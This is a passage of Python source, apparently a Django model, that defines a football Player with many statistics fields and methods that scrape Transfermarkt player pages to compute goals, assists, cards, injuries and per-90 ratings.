O\n full_name = models.CharField(max_length=500, blank=True, null=True)\n long_name = models.CharField(max_length=500, blank=True, null=True)\n player_id = models.IntegerField()\n profile_img_url = models.URLField(max_length=1500, blank=True, null=True)\n nationality = models.CharField(max_length=500, blank=True, null=True)\n date_of_birth = models.CharField(max_length=500, blank=True, null=True)\n position = models.CharField(max_length=50, blank=True, null=True)\n position_general = models.CharField(max_length=50, blank=True, null=True)\n club = models.CharField(max_length=50, blank=True, null=True)\n club_img_url = models.URLField(max_length=1500, blank=True, null=True)\n national_team = models.CharField(max_length=50, blank=True, null=True)\n national_team_img_url = models.URLField(max_length=1500, blank=True, null=True)\n # S T A T S - G E N E R A L \n played_seasons = models.IntegerField(blank=True, null=True)\n played_games_club = models.IntegerField(blank=True, null=True)\n played_games_national = models.IntegerField(blank=True, null=True)\n played_games = models.IntegerField(blank=True, null=True)\n total_games_injured = models.IntegerField(blank=True, null=True)\n total_days_injured = models.IntegerField(blank=True, null=True)\n goals_club = models.IntegerField(blank=True, null=True)\n goals_national = models.IntegerField(blank=True, null=True)\n goals = models.IntegerField(blank=True, null=True)\n assists_club = models.IntegerField(blank=True, null=True)\n assists_national = models.IntegerField(blank=True, null=True)\n assists = models.IntegerField(blank=True, null=True)\n minutes_club = models.IntegerField(blank=True, null=True)\n minutes_national = models.IntegerField(blank=True, null=True)\n minutes = models.IntegerField(blank=True, null=True)\n cc = models.IntegerField(blank=True, null=True)\n goals_90 = models.FloatField(blank=True, null=True)\n assists_90 = models.FloatField(blank=True, null=True)\n cc_90 = models.FloatField(blank=True, null=True)\n yellow_cards = models.IntegerField(blank=True, null=True)\n red_cards = models.IntegerField(blank=True, null=True)\n total_cards_weighted = models.IntegerField(blank=True, null=True)\n yc90 = models.FloatField(blank=True, null=True)\n rc90 = models.FloatField(blank=True, null=True)\n sb_aggression_index = models.FloatField(blank=True, null=True)\n seasons_active = models.CharField(max_length=500, blank=True, null=True)\n goals_types_club = models.CharField(max_length=500, blank=True, null=True)\n goals_types_national = models.CharField(max_length=500, blank=True, null=True)\n goals_types = models.CharField(max_length=500, blank=True, null=True)\n leagues_dict = models.CharField(max_length=50000, blank=True, null=True)\n sb_index_by_league = models.CharField(max_length=50000, blank=True, null=True)\n total_sb_index = models.FloatField(blank=True, null=True)\n season_competition_stats = models.CharField(max_length=50000, blank=True, null=True)\n detailed_stats = models.CharField(max_length=50000, blank=True, null=True)\n\n # O T H E R\n views_count = models.IntegerField(default=0, blank=True, null=True)\n created = models.DateTimeField(auto_now=True)\n num_updates = models.IntegerField(default=0, blank=True, null=True)\n\n def __str__(self):\n return '{}'.format(self.full_name)\n\n # M E T H O D S C R E A T I N G A T T R I B U T E S\n\n def get_full_name(self):\n player_profile_tm_page_content = self.get_profilepage_content()\n if player_profile_tm_page_content.find('div' , {'class': 'dataName'}) != None:\n player_tm_name = \"N O B O D Y\" if player_profile_tm_page_content.find('div', {'class': 'dataName'}) == None else player_profile_tm_page_content. find('div', {'class': 'dataName'}).find('h1').text\n return player_tm_name\n \n def get_long_name(self):\n player_profile_tm_page_content = self.get_profilepage_content()\n if player_profile_tm_page_content.find('table', {'class': 'auflistung'}).find('th') != None:\n player_tm_long_name = player_profile_tm_page_content.find('table', {'class': 'auflistung'}).find('td').text if (player_profile_tm_page_content. find('table', {'class': 'auflistung'}).find('th').text == \"Full name:\" or player_profile_tm_page_content.find('table', {'class': 'auflistung'}). find('th').text == \"Name in home country:\") else self.get_full_name()\n return player_tm_long_name\n \n def get_profile_img_url(self):\n player_profile_tm_page_content = self.get_profilepage_content()\n if player_profile_tm_page_content != None:\n player_img_big = player_profile_tm_page_content.find('div', {'class': 'dataBild'}).find('img')['src'] \n else:\n \"Not found\"\n if \"default\" in player_img_big: player_img_big = \"static/img/no_img.png\"\n return player_img_big\n \n def get_nationality(self):\n player_profile_tm_page_content = self.get_profilepage_content()\n player_tm_info_table_rows = player_profile_tm_page_content.find('table', {'class': 'auflistung'}).find_all('tr')\n for row in player_tm_info_table_rows: #there's no specific class for the tr elements, so I need to target it some other way\n if row.find('th').find(string=re.compile(\"Citizenship:\")):\n player_tm_nationality = row.find('img')['title']\n else:\n \"Unknown\"\n return player_tm_nationality.replace(\"\\'\", \"\")\n \n def get_date_of_birth(self):\n player_profile_tm_page_content = self.get_profilepage_content()\n player_tm_info_table_rows = player_profile_tm_page_content.find('table', {'class': 'auflistung'}).find_all('tr')\n for row in player_tm_info_table_rows:\n if row.find('th').find(string=re.compile(\"Date of birth:\")):\n player_tm_date_of_birth = row.find('a').text\n return player_tm_date_of_birth\n \n def get_position(self):\n player_profile_tm_page_content = self.get_profilepage_content()\n player_tm_info_table_rows = player_profile_tm_page_content.find('table', {'class': 'auflistung'}).find_all('tr')\n for row in player_tm_info_table_rows:\n if row.find('th').find(string=re.compile(\"Position:\")):\n player_tm_position = row.find('td').text\n player_tm_position = player_tm_position.lstrip().capitalize()\n return player_tm_position\n\n def get_position_general(self):\n position_lowercase = self.position.lower()\n if \"goalkeeper\" in position_lowercase : pos_general = \"Goalkeeper\"\n elif \"back\" in position_lowercase or \"sweeper\" in position_lowercase : pos_general = \"Defense\"\n elif \"midfield\" in position_lowercase : pos_general = \"Midfield\"\n elif \"winger\" in position_lowercase or \"forward\" in position_lowercase or \"striker\" in position_lowercase : pos_general = \"Forward\"\n else: pos_general = \"Other\"\n return pos_general\n\n\n def get_club(self):\n player_profile_tm_page_content = self.get_profilepage_content()\n player_tm_info_table_rows = player_profile_tm_page_content.find('table', {'class': 'auflistung'}).find_all('tr')\n for row in player_tm_info_table_rows:\n if row.find('th').find(string=re.compile(\"Current club:\")):\n player_tm_club = row.find_all('a')\n return player_tm_club[1].text\n\n def get_club_img_url(self):\n player_profile_tm_page_content = self.get_profilepage_content()\n club_img_url = player_profile_tm_page_content.find('div', {'class': 'dataZusatzImage'}).find('a').find('img')['src']\n return club_img_url\n\n def get_national_team(self):\n content = self.get_detailedstats_content()\n player_verification = content.find('p', {'class': 'notTablet'})\n if player_verification == None: # means that player has no national experience\n return \"None\"\n else: \n national_team_name = player_verification.find('a', {'class': 'vereinprofil_tooltip'}).text\n return national_team_name\n\n def get_national_team_img_url(self):\n content = self.get_detailedstats_content()\n if not self.national_team == \"None\":\n nat_link = 'https://www.transfermarkt.co.uk' + content.find('p', {'class': 'notTablet'}).find('span', {'class': 'dataValue'}).find('a')['href']\n nat_content = get_gameinfo_page_content(nat_link)\n nat_img = nat_content.find('div', {'class': 'dataBild nationalmannschaft'}).find('img')['src']\n else:\n nat_img = \"\"\n return nat_img\n \n def get_played_seasons(self):\n content = self.get_detailedstats_content()\n stats_table_body_row = content.find('table', {'class': 'items'}).find('tbody').find_all('tr')\n seasons_list = []\n regex = re.compile('zentriert')\n for row in stats_table_body_row:\n season = row.find('td', {'class': regex}).text\n if season in seasons_list:\n continue\n else:\n seasons_list.append(season)\n return len(seasons_list)\n\n def get_played_games_club(self):\n content = self.get_detailedstats_content()\n stats_table_footer_cells = content.find('table', {'class': 'items'}).find('tfoot').find_all('td')\n return int(stats_table_footer_cells[4].text)\n\n def get_played_games_national(self):\n content = self.get_nationalstats_content()\n tr_list = []\n table_div = content.find('div', {'class': 'large-8'})\n if table_div == None: # means that player has no national experience\n return 0\n else: \n all_table_rows = table_div.find('div', {'class': 'box'}).find('tbody').find_all('tr')\n for nat_team_row in all_table_rows:\n if nat_team_row not in tr_list: tr_list.append(nat_team_row) \n if nat_team_row.find(string=re.compile(\"U1\")) or nat_team_row.find(string=re.compile(\"U2\")) or nat_team_row.find(string=re.compile(\"Olympic\")): tr_list.remove(nat_team_row) # to get rid of junior national teams\n if len(tr_list) == 0:\n played_games_national = 0\n else:\n played_games_national = content.select('div.large-8.columns > div:nth-child(1) > table > tbody > tr:nth-child(2) > td:nth-child(5) > a')[0].text\n return int(played_games_national)\n\n def get_played_games(self):\n return self.played_games_club + self.played_games_national\n\n def get_total_games_injured(self):\n content = self.get_injuries_content()\n if content.find('div', {'id': 'yw1'}).find('table'):\n all_rows = content.find('div', {'id': 'yw1'}).find('table').find('tbody').find_all('tr')\n all_games = []\n for row in all_rows:\n last_cell = row.find_all('td')[-1].text\n all_games.append(int(last_cell)) if \"-\" not in last_cell else all_games.append(0)\n total_injured_games = sum(all_games)\n else: \n total_injured_games = 0\n return total_injured_games\n\n def get_total_days_injured(self):\n content = self.get_injuries_content()\n if content.find('div', {'id': 'yw1'}).find('table'):\n all_rows = content.find('div', {'id': 'yw1'}).find('table').find('tbody').find_all('tr')\n all_days = []\n for row in all_rows:\n last_cell = row.find_all('td')[-2].text\n last_cell = re.sub('[^0-9]', '', last_cell)\n all_days.append(int(last_cell)) if \"-\" not in last_cell else all_days.append(0)\n all_days.append(int(last_cell))\n total_injured_days = sum(all_days)\n else: \n total_injured_days = 0\n return total_injured_days\n \n def get_goals_club(self):\n content = self.get_detailedstats_content()\n stats_table_footer_cells = content.find('table', {'class': 'items'}).find('tfoot').find_all('td')\n return int(stats_table_footer_cells[6].text)\n\n def get_goals_national(self):\n content = self.get_nationalstats_content()\n tr_list = []\n table_div = content.find('div', {'class': 'large-8'})\n if table_div == None: # means that player has no national experience\n return 0\n else: \n all_table_rows = table_div.find('div', {'class': 'box'}).find('tbody').find_all('tr')\n for nat_team_row in all_table_rows:\n if nat_team_row not in tr_list: tr_list.append(nat_team_row) \n if nat_team_row.find(string=re.compile(\"U1\")) or nat_team_row.find(string=re.compile(\"U2\")) or nat_team_row.find(string=re.compile(\"Olympic\")): \n tr_list.remove(nat_team_row) # to get rid of junior national teams\n if len(tr_list) == 0:\n national_goals = 0\n else:\n national_goals = content.select('div.large-8.columns > div:nth-child(1) > table > tbody > tr:nth-child(2) > td:nth-child(6) > a')[0].text\n return int(national_goals)\n\n def get_goals(self):\n return self.goals_club + self.goals_national\n\n\n def get_assists_club(self):\n content = self.get_detailedstats_content()\n stats_table_footer_cells = content.find('table', {'class': 'items'}).find('tfoot').find_all('td')\n return int(stats_table_footer_cells[7].text)\n\n def get_assists_national(self):\n content = self.get_nationalstats_content()\n assists = int(content.find('div', {'class': 'responsive-table'}).find('table').find('tfoot').find('tr').find_all('td')[4].text if content.find('div', {'class': 'responsive-table'}).find('table').find('tfoot').find('tr').find_all('td')[4].text != \"-\" else 0)\n return assists\n\n def get_assists(self):\n return self.assists_club + self.assists_national\n\n\n def get_minutes_club(self):\n content = self.get_detailedstats_content()\n stats_table_footer_cells = content.find('table', {'class': 'items'}).find('tfoot').find_all('td')\n if \".\" in stats_table_footer_cells[9].text: \n played_minutes = stats_table_footer_cells[9].text.replace(\".\", \"\")\n played_minutes2 = played_minutes.replace(\"'\", \"\")\n return int(played_minutes2)\n\n def get_minutes_national(self):\n content = self.get_nationalstats_content()\n player_verification = content.find('form', {'class': 'js-form-params2path'})\n if player_verification == None: # means that player has no international experience\n return 0\n else:\n national_team_name = content.find('form', {'class': 'js-form-params2path'}).find('div', {'class': 'inline-select'}).find('option').text\n if national_team_name.count(\"U1\") > 0 or national_team_name.count(\"U2\") > 0 or national_team_name.count(\"Olympic\") > 0: #means that player has only junior international experience\n return 0\n else: \n national_apps_mins = content.find('div', {'id': 'yw1'}).find('table', {'class': 'items'}).find('tfoot').find_all('td')[-1].text\n nat_mins = convert_tm_mins_to_int(national_apps_mins)\n return int(nat_mins)\n\n def get_minutes(self):\n return self.minutes_club + self.minutes_national\n \n def get_cc(self):\n return self.goals + self.assists\n \n def get_goals_90(self):\n goals_90 = round(self.goals/(self.minutes/90), 2)\n return goals_90\n \n def get_assists_90(self):\n assists_90 = round(self.assists/(self.minutes/90), 2)\n return assists_90\n \n def get_cc_90(self):\n cc_90 = round(self.cc/(self.minutes/90), 2)\n return cc_90\n\n\n\n def get_yellow_cards(self):\n content = self.get_detailedstats_content()\n stats_table_footer_cells = content.find('table', {'class': 'items'}).find('tfoot').find_all('td')\n yellow_cards = stats_table_footer_cells[8].text.partition(\"/\")[0]\n if \"-\" in yellow_cards: yellow_cards = yellow_cards.replace(\"-\", \"0\")\n second_yellow_cards = stats_table_footer_cells[8].text.partition(\"/\")[2].partition(\"/\")[0].replace(\" \", \"\")\n if \"-\" in second_yellow_cards: second_yellow_cards = second_yellow_cards.replace(\"-\", \"0\")\n return int(yellow_cards) + int(second_yellow_cards)\n\n def get_red_cards(self):\n content = self.get_detailedstats_content()\n stats_table_footer_cells = content.find('table', {'class': 'items'}).find('tfoot').find_all('td')\n red_cards = stats_table_footer_cells[8].text.partition(\"/\")[2].partition(\"/\")[2]\n if \"-\" in red_cards: red_cards = red_cards.replace(\"-\", \"0\")\n return int(red_cards)\n\n def get_total_cards_weighted(self):\n return self.yellow_cards + self.red_cards*3\n\n def get_yc90(self):\n yc90 = round(self.yellow_cards/(self.minutes/90), 2)\n return yc90\n\n def get_rc90(self):\n if self.red_cards != 0: rc90 = round(self.red_cards/(self.minutes/90), 2)\n else: rc90 = 0\n return rc90\n\n def get_sb_aggression_index(self):\n return float(round((self.total_cards_weighted / self.minutes )*10000, 2))\n\n def get_seasons_active(self):\n content = self.get_detailedstats_content()\n all_seasons_options = content.find('select', {'name': 'saison'}).find_all('option')\n seasons_list = []\n for i in range (len(all_seasons_options)):\n if all_seasons_options[i]['value'] != '':\n seasons_list.append(int(all_seasons_options[i]['value']))\n return list(reversed(seasons_list))\n\n def get_goals_types_club(self):\n allgoals_content = self.get_allgoals_content()\n table_rows = allgoals_content.select('#main > div:nth-child(17) > div.large-8.columns > div > div.responsive-table > table > tbody')[0].find_all('tr')\n allgoals_list = []\n for row in table_rows:\n if len(row) == 3: # it helps to recognize if a table row is a separator or not\n pass\n else:\n goal_type = row.find_all('td')[-1].text\n if goal_type == \"\": goal_type = \"Unknown\"\n allgoals_list.append(goal_type)\n get_ordered_goal_types_dict(allgoals_list)\n return get_ordered_goal_types_dict(allgoals_list)\n\n def get_goals_types_national(self):\n national_content = self.get_nationalstats_content()\n national_goals_num = int(national_content.find('table').find('tbody').find_all('tr')[1].find_all('td')[5].text.replace(\"-\", \"0\")) if \"U1\" not in national_content.find('table').find('tbody').find_all('tr')[1].find_all('td')[1].text and \"U2\" not in national_content.find('table').find('tbody').find_all('tr')[1].find_all('td')[1].text and \"Olympic\" not in national_content.find('table').find('tbody').find_all('tr')[1].find_all('td')[1].text else 0\n try:# sometimes transfermarkt has issues with showing up national statistics, I need to work around this somehow\n table_rows = national_content.find_all('div', {'class': 'responsive-table'})[1].find('table').find('tbody').find_all('tr')\n except IndexError:\n table_rows = None\n if table_rows != None:\n games_with_goals_urls = []\n for row in table_rows:\n if len(row) > 22:\n try:\n goal_num = 0 if row.find_all('td')[-6].text == \"\" else int(row.find_all('td')[-6].text)\n if goal_num > 0:\n game_with_goal_url = \"https://www.transfermarkt.co.uk\" + row.find_all('td')[-8].find('a')['href']\n games_with_goals_urls.append(game_with_goal_url)\n except IndexError:\n continue\n allgoals_list = []\n important_cells = []\n for game_url in games_with_goals_urls: \n gamepage_content = get_gameinfo_page_content(game_url)\n goalscorers_table = gamepage_content.find('div' , {'id': 'sb-tore'}) if gamepage_content.find('div' , {'id': 'sb-tore'}) else \"None\"\n goalscorers_row = goalscorers_table.find_all('li')\n goalscorers_cells = []\n for row in goalscorers_row:\n goalscorers_cell = row.find('div' , {'class': 'sb-aktion-aktion'})\n #if \"Assist\" in goalscorers_cell: goalscorers_cell = goalscorers_cell.split(\"Assist\", 1)[0]\n goalscorers_cells.append(goalscorers_cell) \n for cell in goalscorers_cells:\n if cell.find('a')['title'] == self.full_name:\n if \"Assist\" in cell.text: \n cell_text = cell.text.split(\"Assist\", 1)[0] \n else:\n cell_text = cell.text\n important_cells.append(cell_text)\n for cell in important_cells: \n allgoals_list.append(verify_goal_type(cell))\n else: \n allgoals_list = [\"Unknown\"] * national_goals_num\n return get_ordered_goal_types_dict(allgoals_list)\n\n def get_goals_types(self):\n goals_types_club = self.get_goals_types_club()\n goals_types_national = self.get_goals_types_national()\n summed_dict = {}\n for key in goals_types_club.keys():\n summed_dict[key] = int(goals_types_club[key]) + int(goals_types_national[key])\n return summed_dict\n\n def get_leagues_dict(self):\n player_page_content = self.get_detailedstats_content()\n player_leagues_rows = player_page_content.find('div', {'id': 'yw1'}).find('table').find('tbody').find_all('tr')\n for row in player_leagues_rows:\n if len(row) < 6: player_leagues_rows.remove(row)\n comp_ids = []\n for row in player_leagues_rows:\n comp_id = row.find_all('td')[2].find('a')['href'].partition('saison_id')[0].split(\"/\")[-2]\n if comp_id not in comp_ids: comp_ids.append(comp_id)\n player_league_dict = {}\n player_national_dict = {}\n for c_id in comp_ids:\n comppage_content = self.get_compstats_content(c_id)\n comp_row = comppage_content.find('div', {'id': 'yw1'}).find('table').find('tbody').find('tr')\n comp_link = 'https://www.transfermarkt.co.uk' + comp_row.find_all('td')[2].find('a')['href']\n leaguepage_content = get_gameinfo_page_content(comp_link)\n if leaguepage_content.find('div', {'id': 'wettbewerb_head'}).find('div', {'class': 'box-header'}):\n comp_name = leaguepage_content.find('div', {'id': 'wettbewerb_head'}).find('div', {'class': 'box-header'}).find('h1').text.replace(\"'\", \"\")\n else:\n comp_name = leaguepage_content.find('div', {'id': 'wettbewerb_head'}).find('h1', {'itemprop': 'name'}).text.replace(\"'\", \"\")\n comp_games = int(comppage_content.find('div', {'id': 'yw1'}).find('table').find('tfoot').find_all('td')[4].text.replace(\"-\", \"0\"))\n comp_goals = int(comppage_content.find('div', {'id': 'yw1'}).find('table').find('tfoot').find_all('td')[6].text.replace(\"-\", \"0\"))\n comp_assists = int(comppage_content.find('div', {'id': 'yw1'}).find('table').find('tfoot').find_all('td')[7].text.replace(\"-\", \"0\"))\n comp_minutes = int(comppage_content.find('div', {'id': 'yw1'}).find('table').find('tfoot').find_all('td')[9].text.replace(\"-\", \"0\").replace(\"'\", \"\").replace(\".\", \"\"))\n comp_sb_index = calculate_sb_index(comp_goals, comp_assists, comp_minutes, get_league_weight(comp_name))\n player_league_dict[comp_name] = {'name': comp_name, 'games': comp_games, 'goals': comp_goals, 'assists': comp_assists, 'minutes': comp_minutes, 'weight': get_league_weight(comp_name), 'sb_index': comp_sb_index}\n player_national_dict['National Team'] = {'name': self.national_team, 'games': self.played_games_national, 'goals': self.goals_national, 'assists': self.assists_national, 'minutes': self.minutes_national, 'weight': get_league_weight('National Team'), 'sb_index': calculate_sb_index(self.goals_national, self.assists_national, self.minutes_national, get_league_weight('National Team'))}\n player_league_dict.update(player_national_dict)\n return player_league_dict\n\n def get_sb_index_by_league(self):\n sb_index_by_league_dict = {}\n all_player_leagues = self.get_leagues_dict().keys()\n for league in all_player_leagues:\n sb_index_by_league_dict[league] = self.get_leagues_dict()[league][\"sb_index\"]\n return sb_index_by_league_dict\n\n def get_total_sb_index(self):\n return round(sum([x for x in self.get_sb_index_by_league().values()]), 2)\n\n def get_season_competition_stats(self):\n all_season_comps_stats = {}\n total_season_sb_index_list = []\n for season in json.loads(self.seasons_active.replace(\"'\", \"\\\"\")):\n content = self.get_seasonalstats_content(season)\n season_comps = []\n season_comps_stats = {}\n comp_stats = {}\n comp_sb_index = []\n if content.find('div', {'id': 'yw1'}).find('table'):\n competition_rows = content.find('div', {'id': 'yw1'}).find('table').find('tbody').find_all('tr')\n for row in competition_rows:\n comp_link = 'https://www.transfermarkt.co.uk' + row.find_all('td')[1].find('a')['href']\n comppage_content = get_gameinfo_page_content(comp_link)\n if comppage_content.find('div', {'id': 'wettbewerb_head'}).find('div', {'class': 'box-header'}):\n comp_name = comppage_content.find('div', {'id': 'wettbewerb_head'}).find('div', {'class': 'box-header'}).find('h1').text.replace(\"'\", \"\")\n else:\n comp_name = comppage_content.find('div', {'id': 'wettbewerb_head'}).find('h1', {'itemprop': 'name'}).text.replace(\"'\", \"\")\n comp_goals = int(row.find_all('td')[5].text) if row.find_all('td')[5].text != \"-\" else 0\n comp_assists = int(row.find_all('td')[6].text) if row.find_all('td')[6].text != \"-\" else 0\n comp_minutes = int(row.find_all('td')[8].text.replace(\".\", \"\").replace(\"'\", \"\")) if row.find_all('td')[8].text != \"-\" else 0\n comp_stats[comp_name] = {'name': comp_name, 'goals': comp_goals, 'assists': comp_assists, 'minutes': comp_minutes, 'comp_sb_index': calculate_sb_index(comp_goals, comp_assists, comp_minutes, get_league_weight(comp_name))} \n comp_sb_index.append(comp_stats[comp_name]['comp_sb_index'])\n else:\n comp_stats[\"None\"] = {'name': \"None\", 'goals': 0, 'assists': 0, 'minutes': 0, 'comp_sb_index': 0} # we need to add this, otherwise there will be some problems with charts in players profile - seasons will be calculated incorrectly\n comp_sb_index.append(comp_stats[\"None\"]['comp_sb_index'])\n season_comps_stats[str(season)] = comp_stats\n total_season_sb_index_list.append(comp_sb_index)\n all_season_comps_stats.update(season_comps_stats)\n total_season_sb_index = []\n sb_index_by_season = {}\n for season in total_season_sb_index_list:\n total_season_sb_index.append(round(sum([x for x in season]), 2))\n sb_index_by_season['sb_index_by_season'] = total_season_sb_index\n all_season_comps_stats.update(sb_index_by_season)\n return all_season_comps_stats\n\n def get_detailed_stats(self):\n seasons_active = self.get_seasons_active()\n season_games_list = self.get_stat_by_season('#yw1 > table > tfoot > tr > td:nth-child(4)')\n season_minutes_list = self.get_stat_by_season('#yw1 > table > tfoot > tr > td:nth-child(9)')\n season_goals_list = self.get_stat_by_season('#yw1 > table > tfoot > tr > td:nth-child(6)')\n season_assists_list = self.get_stat_by_season('#yw1 > table > tfoot > tr > td:nth-child(7)')\n season_cc_list = []\n '''season_sb_index_list = []\n for season_idx in seasons_active:'''\n for season_idx in range(len(season_minutes_list)):\n cc = season_goals_list[season_idx] + season_assists_list[season_idx]\n season_cc_list.append(cc)\n season_total_cards_list_raw = self.get_stat_by_season('#yw1 > table > tfoot > tr > td:nth-child(8)')\n season_total_cards_list = []\n for season in season_total_cards_list_raw:\n season_data = season.replace('\\xa0', '')\n season_total_cards_list.append(season_data)\n season_yc_list = []\n for season in season_total_cards_list:\n yc = season.partition(\"/\")[0]\n if \"-\" in yc: yc = yc.replace(\"-\", \"0\")\n second_yc = season.partition(\"/\")[2].partition(\"/\")[0].replace(\" \", \"\").replace(\"-\", \"0\")\n if second_yc == \"\": second_yc = \"0\"\n yc_and_second_yc = int(yc) + int(second_yc)\n season_yc_list.append(yc_and_second_yc)\n season_rc_list = []\n for season in season_total_cards_list:\n rc = season.partition(\"/\")[2].partition(\"/\")[2].replace(\"-\", \"0\")\n if rc == \"\": rc = \"0\"\n season_rc_list.append(int(rc))\n season_club_img_list = []\n for season in seasons_active:\n content = self.get_seasonalstats_content(season)\n if content.select('#yw1 > table'):\n season_club_img = content.select('#yw1 > table > tbody > tr:nth-child(1) > td.hauptlink.no-border-rechts.zentriert')[0].find('a').find ('img')['src']\n season_club_img_list.append(season_club_img)\n else:\n season_club_img = ''\n season_club_img_list.append(season_club_img)\n season_g90_list = []\n season_a90_list = []\n season_cc90_list = []\n for season_idx in range(len(season_minutes_list)):\n season_g90 = round(season_goals_list[season_idx]/(season_minutes_list[season_idx]/90), 2) if season_goals_list[season_idx] != 0 and season_minutes_list[season_idx] != 0 else 0\n season_a90 = round(season_assists_list[season_idx]/(season_minutes_list[season_idx]/90), 2) if season_assists_list[season_idx] != 0 and season_minutes_list[season_idx] != 0 else 0\n season_cc90 = round(season_cc_list[season_idx]/(season_minutes_list[season_idx]/90), 2) if season_cc_list[season_idx] != 0 and season_minutes_list[season_idx] != 0 else 0\n season_g90_list.append(season_g90)\n season_a90_list.append(season_a90)\n season_cc90_list.append(season_cc90)\n\n detailed_stats_dict = {\n 'name': self.full_name,\n 'long_name': self.long_name,\n 'id': self.player_id,\n 'date_of_birth': self.date_of_birth,\n 'position': self.position,\n 'club': self.club,\n 'seasons': seasons_active,\n 'games': season_games_list, \n 'total_games_injured': self.total_games_injured,\n 'minutes': season_minutes_list,\n 'goals': season_goals_list,\n 'assists': season_assists_list,\n 'yellow_cards': season_yc_list,\n 'red_cards': season_rc_list,\n 'club_img': season_club_img_list,\n 'cc': season_cc_list,\n 'g90': season_g90_list,\n 'a90': season_a90_list,\n 'cc90': season_cc90_list,\n 'goals_types_club': self.goals_types_club,\n 'goals_types_national': self.goals_types_national,\n 'goals_types': self.goals_types,\n 'leagues_dict': self.leagues_dict,\n 'sb_index_by_league': self.sb_index_by_league,\n 'total_sb_index': self.total_sb_index,\n }\n return detailed_stats_dict\n\n# U S E F U L M E T H O D S\n\n def get_detailedstats_content(self):\n player_tm_detailedstats_url_id = \"https://www.transfermarkt.co.uk/lionel-messi/leistungsdatendetails/spieler/{}\".format(self.player_id)\n headers = {'User-Agent': \n 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.106 Safari/537.36'}\n pageTree = requests.get(player_tm_detailedstats_url_id, headers=headers)\n soup = BeautifulSoup(pageTree.content, 'html.parser')\n return soup\n\n def get_seasonalstats_content(self, season):\n player_tm_seasonalstats_url_id = \"https://www.transfermarkt.co.uk/lionel-messi/leistungsdatendetails/spieler/{}/plus/0?saison={}&verein=&liga=&wettbewerb=&pos=&trainer_id=\".format(self.player_id, season)\n headers = {'User-Agent': \n 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.106 Safari/537.36'}\n pageTree = requests.get(player_tm_seasonalstats_url_id, headers=headers)\n soup = BeautifulSoup(pageTree.content, 'html.parser')\n return soup\n\n def get_profilepage_content(self):\n player_tm_profilepage_url_id = \"https://www.transfermarkt.co.uk/silvio-adzic/profil/spieler/{}\".format(self.player_id)\n headers = {'User-Agent': \n 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.106 Safari/537.36'}\n pageTree = requests.get(player_tm_profilepage_url_id, headers=headers)\n soup = BeautifulSoup(pageTree.content, 'html.parser')\n return soup\n\n def get_nationalstats_content(self):\n player_tm_nationalstats_url_id = \"https://www.transfermarkt.co.uk/mario-basler/nationalmannschaft/spieler/{}\".format(self.player_id)\n headers = {'User-Agent': \n 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.106 Safari/537.36'}\n pageTree = requests.get(player_tm_nationalstats_url_id, headers=headers)\n soup = BeautifulSoup(pageTree.content, 'html.parser')\n return soup\n\n def get_allgoals_content(self):\n player_tm_allgoals_url_id = \"https://www.transfermarkt.co.uk/ronaldo/alletore/spieler/{}\".format(self.player_id)\n headers = {'User-Agent': \n 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.106 Safari/537.36'}\n pageTree = requests.get(player_tm_allgoals_url_id, headers=headers)\n soup = BeautifulSoup(pageTree.content, 'html.parser')\n return soup\n\n def get_injuries_content(self):\n player_tm_injuries_url_id = \"https://www.transfermarkt.co.uk/andriy-shevchenko/verletzungen/spieler/{}\".format(self.player_id)\n headers = {'User-Agent': \n 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.106 Safari/537.36'}\n pageTree = requests.get(player_tm_injuries_url_id, headers=headers)\n soup = BeautifulSoup(pageTree.content, 'html.parser')\n return soup\n\n def get_compstats_content(self, comp_id):\n base_url = f\"https://www.transfermarkt.co.uk/andriy-shevchenko/leistungsdatendetails/spieler/{self.player_id}/plus/0?saison=&verein=&liga=&wettbewerb={comp_id}&pos=&trainer_id=\"\n headers = {'User-Agent': \n 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.106 Safari/537.36'}\n pageTree = requests.get(base_url, headers=headers)\n soup = BeautifulSoup(pageTree.content, 'html.parser')\n return soup\n\n def get_all_attributes(self):\n tuple_of_fields = self._meta.get_fields()\n sanitized_list = []\n for field in tuple_of_fields:\n sanitized_field = str(field).replace(\"myapp.Player.\", \"\")\n sanitized_list.append(sanitized_field)\n if \"id\" and \"created\" and \"num_updates\" and \"player_id\" in sanitized_list: \n sanitized_list.remove(\"id\")\n sanitized_list.remove(\"created\")\n sanitized_list.remove(\"num_updates\")\n sanitized_list.remove(\"player_id\")\n return sanitized_list\n\n def get_all_methods(self):\n object_all_properties = dir(self) # dir returns list sorted aphabetically, I need different order of a list, that's why last 5 lines of this function looks this way\n object_methods_sorted_improperly = []\n for element in object_all_properties:\n if element.startswith(\"get\"):\n object_methods_sorted_improperly.append(element)\n unnecessary_methods = [\"get_deferred_fields\", \"get_detailedstats_content\", \"get_next_by_created\", \"get_previous_by_created\", \"get_profilepage_content\"]\n for method in unnecessary_methods:\n if method in object_methods_sorted_improperly:\n object_methods_sorted_improperly.remove(method)\n attrs_list = self.get_all_attributes()\n object_methods_sorted_properly = []\n for attr in attrs_list:\n for obj_method in object_methods_sorted_improperly:\n if \"get_\" + attr == obj_method:\n object_methods_sorted_properly.append(obj_method)\n return object_methods_sorted_properly\n\n def get_all_values(self):\n object_all_attributes = self.get_all_attributes()\n object_all_values = []\n for attr in object_all_attributes: \n field_object = self._meta.get_field(attr)\n value = field_object.value_from_object(self)\n object_all_values.append(value)\n return object_all_values\n\n def get_attrs_values_dict(self):\n object_dict = {}\n object_all_attributes = self.get_all_attributes()\n object_all_values = []\n for attr in object_all_attributes: \n field_object = self._meta.get_field(attr)\n value = field_object.value_from_object(self)\n object_all_values.append(value)\n for idx, item in enumerate(object_all_attributes):\n object_dict[item] = object_all_values[idx]\n return object_dict\n\n# H E L P E R S\n def get_stat_by_season(self, selector):\n season_stat_list = []\n for season in self.get_seasons_active():\n content = self.get_seasonalstats_content(season)\n if content.select('#yw1 > table'):\n season_stat = content.select(selector)[0].text\n if season_stat == '-': season_stat = 